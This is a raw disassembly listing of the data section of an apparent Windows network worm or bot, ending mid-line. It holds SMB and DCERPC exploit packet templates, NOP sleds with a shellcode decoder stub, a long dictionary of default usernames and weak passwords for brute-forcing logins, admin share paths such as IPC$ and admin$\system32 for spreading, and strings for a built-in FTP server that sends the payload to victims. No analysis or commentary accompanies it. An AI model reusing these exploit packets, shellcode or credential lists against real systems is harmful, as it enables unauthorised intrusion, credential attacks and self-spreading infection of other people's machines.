9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+1B9o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+216o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_41B338 dd 0 ; DATA XREF: sub_410B52+2C7o dd 0D7h, 1, 0 dd 1, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+348o dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_41B3E4 dd 0 ; DATA XREF: sub_410B52+3DEo dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_41B408 dd 20804h, 0 ; DATA XREF: sub_410B52+285o ; sub_410B52+29Bo ... dword_41B410 dd 2080Ah, 0 ; DATA XREF: sub_410B52+26Fo dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dd 3F3F0000h, 3F3F3Fh, 0 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 align 10h jmp short loc_41B84A ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B852 ; --------------------------------------------------------------------------- loc_41B84A: ; CODE XREF: .data:0041B840j nop nop db 67h adc eax, 8EB767Ah loc_41B852: ; CODE XREF: .data:0041B848j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_41B8A1 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B8A1: ; CODE XREF: .data:0041B897j nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_41B97E ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B986 ; --------------------------------------------------------------------------- loc_41B97E: ; CODE XREF: .data:0041B974j nop nop db 67h adc eax, 8EB767Ah loc_41B986: ; CODE XREF: .data:0041B97Cj nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop jns short near ptr word_41B9F6 add [ecx], eax jmp short loc_41B9C6 ; --------------------------------------------------------------------------- align 10h dd 767A1567h db 2 dup(90h) ; --------------------------------------------------------------------------- loc_41B9C6: ; CODE XREF: .data:0041B9BCj nop nop nop nop nop jmp short loc_41B9D5 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B9D5: ; CODE XREF: .data:0041B9CBj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 7E0h, 4, 0 db 2 dup(0) word_41B9F6 dw 0 ; CODE XREF: .data:0041B9B8j dd 0D0EC8166h, 7, 129F74h, 0 dd 127D78h, 0 ; --------------------------------------------------------------------------- pusha jmp short loc_41BA16 ; =============== S U B R O U T I N E ======================================= sub_41BA13 proc near ; CODE XREF: .data:loc_41BA16p pop ebx push ebx retn sub_41BA13 endp ; --------------------------------------------------------------------------- loc_41BA16: ; CODE XREF: .data:0041BA11j call sub_41BA13 xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_41BA23: ; CODE XREF: .data:0041BA4Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_41BA23 popa add [ebx+31h], al mov ebp, 7FC77h add [ecx], al inc ebx loc_41BA5A: ; CODE XREF: .data:0041BA5Cj xor eax, eax ja short loc_41BA5A pop es ; --------------------------------------------------------------------------- db 0 dd 4F020100h, 7E7655Bh, 0 dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r ; sub_410F60+73r ... dword_41BB01 dd 0 ; DATA XREF: sub_410F60+A3r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-7FFFBE3Dh], cl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [ebx+eax*8+41h], ah add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [ebx+eax*8+41h], dl add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC ; "c$" dd offset aD ; "d$" ; --------------------------------------------------------------------------- fadd st(2), st inc ecx add al, dl retn 41h ; --------------------------------------------------------------------------- dd offset aDShared ; "d$\\shared" ; --------------------------------------------------------------------------- mov eax, 0AC0041C2h retn 41h ; --------------------------------------------------------------------------- mov al, ds:8C0041C2h retn 41h ; --------------------------------------------------------------------------- dd offset aCWindowsSystem ; "c$\\windows\\system32" ; --------------------------------------------------------------------------- push 600041C2h retn 41h ; --------------------------------------------------------------------------- xor dl, al inc ecx add [eax], ch retn 41h ; --------------------------------------------------------------------------- dd offset aIpc ; "IPC$" dd 0 dd offset byte_41DE30 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" ; --------------------------------------------------------------------------- aam 0C4h inc ecx add al, cl les eax, [ecx+0] rol ah, 41h add [eax-4BFFBE3Ch], bh les eax, [ecx+0] sbb al, 0C2h inc ecx add [eax], bl retn 41h ; --------------------------------------------------------------------------- adc al, 0C2h inc ecx add [eax], cl retn 41h ; --------------------------------------------------------------------------- cld rol dword ptr [ecx+0], 0F4h rol dword ptr [ecx+0], 0F0h rol dword ptr [ecx+0], 0E4h rol dword ptr [ecx+0], 0DCh rol dword ptr [ecx+0], 0D8h rol dword ptr [ecx+0], 0D4h rol dword ptr [ecx+0], 0D0h rol dword ptr [ecx+0], 0CCh rol dword ptr [ecx+0], 0C8h rol dword ptr [ecx+0], 0C0h rol dword ptr [ecx+0], 0B8h rol dword ptr [ecx+0], 0B0h rol dword ptr [ecx+0], 0A8h rol dword ptr [ecx+0], 9Ch rol dword ptr [ecx+0], 90h rol dword ptr [ecx+0], 84h rol dword ptr [ecx+0], 7Ch rol dword ptr [ecx+0], 70h rol dword ptr [ecx+0], 68h rol dword ptr [ecx+0], 60h rol dword ptr [ecx+0], 50h xchg eax, edx inc ecx add [eax-3Fh], bl inc ecx add [eax+44004198h], dl xchg eax, edx inc ecx add [eax-3Fh], dl inc ecx add [eax-3Fh], cl inc ecx add [eax-3Fh], al inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], bh inc ecx add [eax+eax*8+41h], ch add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-40h], ah inc ecx add [eax-40h], bl inc ecx add [eax-40h], dl inc ecx add [eax-40h], cl inc ecx add al, dh rol byte ptr [ecx+0], 88h retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], al inc ecx add [eax], bh rol byte ptr [ecx+0], 30h rol byte ptr [ecx+0], 28h rol byte ptr [ecx+0], 80h retn ; --------------------------------------------------------------------------- inc ecx add [eax+eax*8], bl inc ecx add [eax+eax*8], cl inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [eax+eax*8], al inc ecx add al, bh mov edi, 0BFE80041h inc ecx add [ebx+eax*8+41h], ah add ah, dl mov edi, 0BFD00041h inc ecx add ah, cl mov edi, 0BFC40041h inc ecx add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [eax-5BFFBE41h], dh mov edi, 0C3540041h inc ecx add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax-67FFBE41h], ah mov edi, 0BF940041h inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [edi+edi*4-407BFFBFh], cl inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 aBlank db 'blank',0 align 4 aXp_0 db 'xp',0 align 4 aNokia db 'nokia',0 align 10h aHp db 'hp',0 align 4 aOrainstall db 'orainstall',0 align 10h aSqlpassoainsta db 'sqlpassoainstall',0 align 4 aDb1234 db 'db1234',0 align 4 aDb2 db 'db2',0 aDb1 db 'db1',0 aDatabasepasswo db 'databasepassword',0 align 4 aDatabasepass db 'databasepass',0 align 4 aDbpassword db 'dbpassword',0 align 4 aDbpass db 'dbpass',0 align 4 aDomainpassword db 'domainpassword',0 align 4 aDomainpass db 'domainpass',0 align 4 aHello db 'hello',0 align 10h aHell db 'hell',0 align 4 aLove db 'love',0 align 10h aMoney db 'money',0 align 4 aSlut db 'slut',0 align 10h aBitch db 'bitch',0 align 4 aFuck db 'fuck',0 align 10h aExchange db 'exchange',0 align 4 aLoginpass db 'loginpass',0 align 4 aLogin db 'login',0 align 10h aQwe db 'qwe',0 ; DATA XREF: .data:0041BE4Co aZxc db 'zxc',0 ; DATA XREF: .data:0041BE48o aAsd db 'asd',0 ; DATA XREF: .data:0041BE44o aQaz db 'qaz',0 ; DATA XREF: .data:0041BE40o aWin2000 db 'win2000',0 ; DATA XREF: .data:0041BE3Co aWinnt db 'winnt',0 ; DATA XREF: .data:0041BE38o align 10h aWinxp db 'winxp',0 ; DATA XREF: .data:0041BE34o align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:0041BE30o align 10h aWin98 db 'win98',0 ; DATA XREF: .data:0041BE2Co align 4 aWindows db 'windows',0 ; DATA XREF: .data:0041BE28o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0041BE20o align 4 aOem db 'oem',0 ; DATA XREF: .data:0041BE18o aAccounting db 'accounting',0 ; DATA XREF: .data:0041BE08o align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0041BE04o align 4 aLetmein db 'letmein',0 ; DATA XREF: .data:0041BE00o aSex db 'sex',0 ; DATA XREF: .data:0041BDFCo aOutlook db 'outlook',0 ; DATA XREF: .data:0041BDECo aMail db 'mail',0 ; DATA XREF: .data:0041BDE8o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0041BDE4o align 4 aTemp123 db 'temp123',0 ; DATA XREF: .data:0041BDE0o aTemp db 'temp',0 ; DATA XREF: .data:0041BDDCo align 4 aNull db 'null',0 ; DATA XREF: .data:0041BDD8o align 4 aDefault db 'default',0 ; DATA XREF: .data:0041BDC8o aChangeme db 'changeme',0 ; DATA XREF: .data:0041BDC4o align 4 aDemo db 'demo',0 ; DATA XREF: .data:0041BDB4o align 10h aTest db 'test',0 align 4 a2005 db '2005',0 align 10h a2004 db '2004',0 align 4 a2001 db '2001',0 align 10h aSecret db 'secret',0 align 4 aPayday db 'payday',0 align 10h aDeadline db 'deadline',0 align 4 aWork db 'work',0 align 4 a1234567890 db '1234567890',0 align 10h a123456789 db '123456789',0 align 4 a12345678 db '12345678',0 align 4 a1234567 db '1234567',0 a123456 db '123456',0 align 4 a12345 db '12345',0 align 10h a1234 db '1234',0 align 4 a123 db '123',0 a12 db '12',0 align 10h a1: unicode 0, <1>,0 a007 db '007',0 aPwd db 'pwd',0 aPass db 'pass',0 align 4 aPass1234 db 'pass1234',0 align 10h aDba db 'dba',0 aPasswd db 'passwd',0 align 4 aPassword db 'password',0 ; DATA XREF: .data:0041D790o align 4 aPassword1 db 'password1',0 align 4 aAbc db 'abc',0 aAb db 'ab',0 align 4 aA_0: unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: .data:0041BD04o align 4 aPrint db 'print$',0 align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 aAdmin_0 db 'admin$',0 align 4 aAdminSystem32 db 'Admin$\system32',0 aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o aCWinntSystem32 db 'c$\winnt\system32',0 align 10h aCWindows db 'c$\windows',0 align 4 aCWinnt db 'c$\winnt',0 align 4 aEShared db 'e$\shared',0 align 4 aDShared db 'd$\shared',0 ; DATA XREF: .data:0041BCDCo align 10h aCShared db 'c$\shared',0 align 4 aE db 'e$',0 align 10h aD db 'd$',0 ; DATA XREF: .data:0041BCD0o align 4 aC db 'c$',0 ; DATA XREF: .data:0041BCCCo align 4 aStaff db 'staff',0 ; DATA XREF: .data:0041BCC4o ; .data:0041BF7Co align 10h aTeacher db 'teacher',0 ; DATA XREF: .data:0041BCC0o ; .data:0041BF78o aOwner db 'owner',0 align 10h aStudent db 'student',0 ; DATA XREF: .data:0041BCB8o ; .data:0041BF70o aIntranet db 'intranet',0 align 4 aLan_0 db 'lan',0 aMain db 'main',0 ; DATA XREF: .data:00416ACAo ; .data:00416AECo align 10h aOffice db 'office',0 align 4 aControl db 'control',0 aSiemens db 'siemens',0 aCompaq db 'compaq',0 align 10h aDell db 'dell',0 align 4 aCisco db 'cisco',0 align 10h aIbm db 'ibm',0 aOracle db 'oracle',0 align 4 aSql db 'sql',0 aSa db 'sa',0 align 4 aData db 'data',0 align 4 aAccess db 'access',0 align 4 aDatabase db 'database',0 align 10h aDomain db 'domain',0 align 4 aGod db 'god',0 aBackup db 'backup',0 align 4 aTechnical db 'technical',0 align 10h aMary db 'mary',0 align 4 aKatie db 'katie',0 align 10h aKate db 'kate',0 align 4 aGeorge db 'george',0 align 10h aEric db 'eric',0 align 4 aNone db 'none',0 align 10h aGuest db 'guest',0 align 4 aChris db 'chris',0 align 10h aIan db 'ian',0 aNeil db 'neil',0 align 4 aLee db 'lee',0 aBrian db 'brian',0 align 4 aSusan db 'susan',0 align 10h aSue db 'sue',0 ; DATA XREF: .data:0041BC24o ; .data:0041BE78o aSam db 'sam',0 ; DATA XREF: .data:0041BC20o ; .data:0041BE74o aLuke db 'luke',0 ; DATA XREF: .data:0041BC1Co ; .data:0041BE70o align 10h aPeter db 'peter',0 ; DATA XREF: .data:0041BC18o ; .data:0041BE6Co align 4 aJohn db 'john',0 ; DATA XREF: .data:0041BC14o ; .data:0041BE68o align 10h aMike db 'mike',0 ; DATA XREF: .data:0041BC10o ; .data:0041BE64o align 4 aBill db 'bill',0 ; DATA XREF: .data:0041BC0Co ; .data:0041BE60o align 10h aFred db 'fred',0 ; DATA XREF: .data:0041BC08o ; .data:0041BE5Co align 4 aJoe db 'joe',0 ; DATA XREF: .data:0041BC04o ; .data:0041BE58o aJen db 'jen',0 ; DATA XREF: .data:0041BC00o ; .data:0041BE54o aBob db 'bob',0 ; DATA XREF: .data:0041BBFCo ; .data:0041BE50o aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0041BBF8o ; .data:0041BE24o align 10h aOemuser db 'oemuser',0 ; DATA XREF: .data:0041BBF4o ; .data:0041BE1Co aUser db 'user',0 ; DATA XREF: .data:0041BBF0o ; .data:0041BE14o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: .data:0041BBECo ; .data:0041BE10o align 4 aHome db 'home',0 ; DATA XREF: .data:0041BBE8o ; .data:0041BE0Co align 4 aInternet db 'internet',0 ; DATA XREF: .data:0041BBE4o ; .data:0041BDF8o align 10h aWww db 'www',0 ; DATA XREF: .data:0041BBE0o ; .data:0041BDF4o aWeb db 'web',0 ; DATA XREF: .data:0041BBDCo ; .data:0041BDF0o aRoot db 'root',0 ; DATA XREF: .data:0041BBD8o ; .data:0041BDD4o align 10h aServer_0 db 'server',0 ; DATA XREF: .data:0041BBD4o ; .data:0041BDD0o align 4 aLinux db 'linux',0 ; DATA XREF: .data:0041BBCCo ; .data:0041BDC0o align 10h aUnix db 'unix',0 ; DATA XREF: .data:0041BBC8o ; .data:0041BDBCo align 4 aComputer db 'computer',0 ; DATA XREF: .data:0041BBC4o ; .data:0041BDB8o align 4 aAdm db 'adm',0 ; DATA XREF: .data:0041BBC0o aAdmin db 'admin',0 ; DATA XREF: .data:0041BBBCo align 10h aAdmins db 'admins',0 ; DATA XREF: .data:0041BBB8o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:0041BBB4o aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0041BBB0o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:0041BBACo ; .data:0041BD14o align 4 aAdministrator db 'administrator',0 ; DATA XREF: .data:0041BBA8o ; .data:0041BD10o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B:loc_4119BAo a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+843o dword_41C514 dd 135A78h ; DATA XREF: sub_41113B+834r align 10h unk_41C520 db 2Dh ; - ; DATA XREF: sub_41113B+80Do db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_41113B+808o dword_41C54C dd 157728h ; DATA XREF: sub_41113B+73Er dd 2 dup(0) dword_41C558 dd 20363232h, 0A0D2Dh ; DATA XREF: sub_41113B+6F7o ; sub_41113B+7AAo aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+5C7o ; sub_41113B+751o dword_41C5DC dd 146AF8h ; DATA XREF: sub_41113B+5B4r dd 2 dup(0) dword_41C5E8 dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_41113B+56Do dword_41C5F4 dd 1227B0h ; DATA XREF: sub_41113B+4EDr align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o align 4 dword_41C614 dd 0F6578h ; DATA XREF: sub_41113B+3EAr align 10h dword_41C620 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_41113B+3A3o dword_41C628 dd 0FED08h ; DATA XREF: sub_41113B+394r dd 2 dup(0) dword_41C634 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_41113B+34Do ; sub_41113B+4A6o dword_41C63C dd 128230h ; DATA XREF: sub_41113B+33Er dd 2 dup(0) dword_41C648 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_41113B+2F7o dword_41C654 dd 1F738h ; DATA XREF: sub_41113B+2E8r dd 0 dword_41C65C dd 20313132h, 0A0D2Dh ; DATA XREF: sub_41113B+2A1o dword_41C664 dd 1232B8h ; DATA XREF: sub_41113B+292r align 10h dword_41C670 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_41113B+24Bo dword_41C678 dd 124AF8h ; DATA XREF: sub_41113B+23Cr dd 2 dup(0) dword_41C684 dd 20303332h, 0A0D2Dh ; DATA XREF: sub_41113B+1E1o dword_41C68C dd 0FECD8h ; DATA XREF: sub_41113B+1C8r dd 2 dup(0) dword_41C698 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_41113B+181o dword_41C6A0 dd 163AE8h ; DATA XREF: sub_41113B+16Br dd 2 dup(0) dword_41C6AC dd 0A0D20h ; DATA XREF: 